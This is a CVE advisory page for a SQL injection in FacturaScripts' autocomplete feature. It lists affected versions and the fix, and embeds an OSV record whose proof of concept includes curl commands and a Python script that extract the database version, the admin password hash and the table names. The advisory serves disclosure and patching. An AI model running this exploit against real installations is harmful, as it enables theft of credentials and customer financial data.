CVE-2026-25514: Facturascripts/facturascripts SQL Injection Vulnerability
HIGHCVE-2026-25514 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Facturascripts/facturascripts libraries in the Packagist ecosystem. The issue involves facturascripts has sql injection in autocomplete actions. Remediation is available by upgrading affected packages to version 2025.81.
CVE-2026-25514 at a Glance
How to Fix CVE-2026-25514
To remediate this vulnerability, upgrade all affected Facturascripts/facturascripts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade facturascripts/facturascripts to 2025.81
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for facturascripts/facturascripts
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25514, inspect your project dependencies for Facturascripts/facturascripts:
inspect dependencies for facturascripts/facturascripts
Analyze the terminal output to locate any version of Facturascripts/facturascripts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.81), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Facturascripts/facturascripts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25514 Affected Facturascripts/facturascripts Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
facturascripts/facturascripts
|
Packagist |
< 2025.81
|
2025.81
|
References
Frequently Asked Questions
What is CVE-2026-25514?
Which Facturascripts/facturascripts versions are affected?
What version fixes CVE-2026-25514?
Is facturascripts/facturascripts affected?
What CWE is associated with CVE-2026-25514?
How can I check Packagist dependencies for CVE-2026-25514?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pqqg-5f4f-8952",
"modified" : "2026-02-04T21:57:23Z",
"published" : "2026-02-03T18:17:24Z",
"aliases" : [ "CVE-2026-25514" ],
"summary" : "FacturaScripts has SQL Injection in Autocomplete Actions",
"details" : "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n // ......\n\n // VULNERABLE CODE:\n $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '\n . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {\n $result[] = new static($row);\n }\n\n return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** → Maps to `$tableName` - Table name injection\n2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" \\\n -d \"fsPassword=admin\" \\\n -d \"action=login\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=version()\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=concat(user(),' @ ',database())\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=password\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: Łukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n \"\"\"Extract CSRF token from page\"\"\"\n response = session.get(url)\n match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', response.text)\n return match.group(1) if match else None\n\ndef login():\n \"\"\"Authenticate to FacturaScripts\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n token = get_csrf_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get CSRF token\")\n exit()\n\n data = {\n \"multireqtoken\": token,\n \"action\": \"login\",\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD\n }\n response = session.post(f\"{BASE_URL}/login\", data=data)\n\n if \"Dashboard\" not in response.text:\n print(\"[!] Login failed!\")\n exit()\n print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n \"\"\"Execute SQL injection through autocomplete\"\"\"\n data = {\n \"action\": \"autocomplete\",\n \"source\": source,\n \"fieldcode\": field_code,\n \"fieldtitle\": field_payload,\n \"term\": term\n }\n response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n try:\n return response.json()\n except:\n return None\n\ndef main():\n login()\n\n print(\"\\n\" + \"=\"*60)\n print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n print(\"=\"*60 + \"\\n\")\n\n # 1. Database version\n print(\"[*] Extracting database version...\")\n res = exploit_sqli(\"version()\")\n if res:\n print(f\"[+] Database Version: {res[0]['value']}\")\n\n # 2. Current user and database\n print(\"[*] Extracting DB user and database name...\")\n res = exploit_sqli(\"concat(user(),' @ ',database())\")\n if res:\n print(f\"[+] DB User @ Database: {res[0]['value']}\")\n\n # 3. Admin password hash\n print(\"[*] Extracting admin password hash...\")\n res = exploit_sqli(\"password\", term=\"admin\")\n if res:\n print(f\"[+] Admin Password Hash: {res[0]['value']}\")\n\n # 4. All table names\n print(\"[*] Extracting table names...\")\n res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n if res:\n print(f\"[+] Tables: {res[0]['value']}\")\n\n print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n main()\n```\n<img width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" />\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n - User credentials (password hashes)\n - Customer information (names, addresses, tax IDs, etc.)\n - Financial records (invoices, payments, bank details)\n - Business logic and configuration data\n - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n // ... validation code ...\n\n // Validate and escape identifiers\n $safeTableName = self::db()->escapeColumn($tableName);\n $safeFieldCode = self::db()->escapeColumn($fieldCode);\n $safeFieldDescription = self::db()->escapeColumn($fieldDescription);\n\n // Use parameterized query\n $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '\n . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n\n foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {\n $result[] = new static($row);\n }\n\n return $result;\n}\n```\n### Credits\n\n**Discovered by:** Łukasz Rybak",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "facturascripts/facturascripts"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2025.81"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25514"
}, {
"type" : "WEB",
"url" : "https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/NeoRazorX/facturascripts"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-89", "CWE-943" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-03T18:17:24Z",
"nvd_published_at" : "2026-02-04T20:16:08Z"
}
}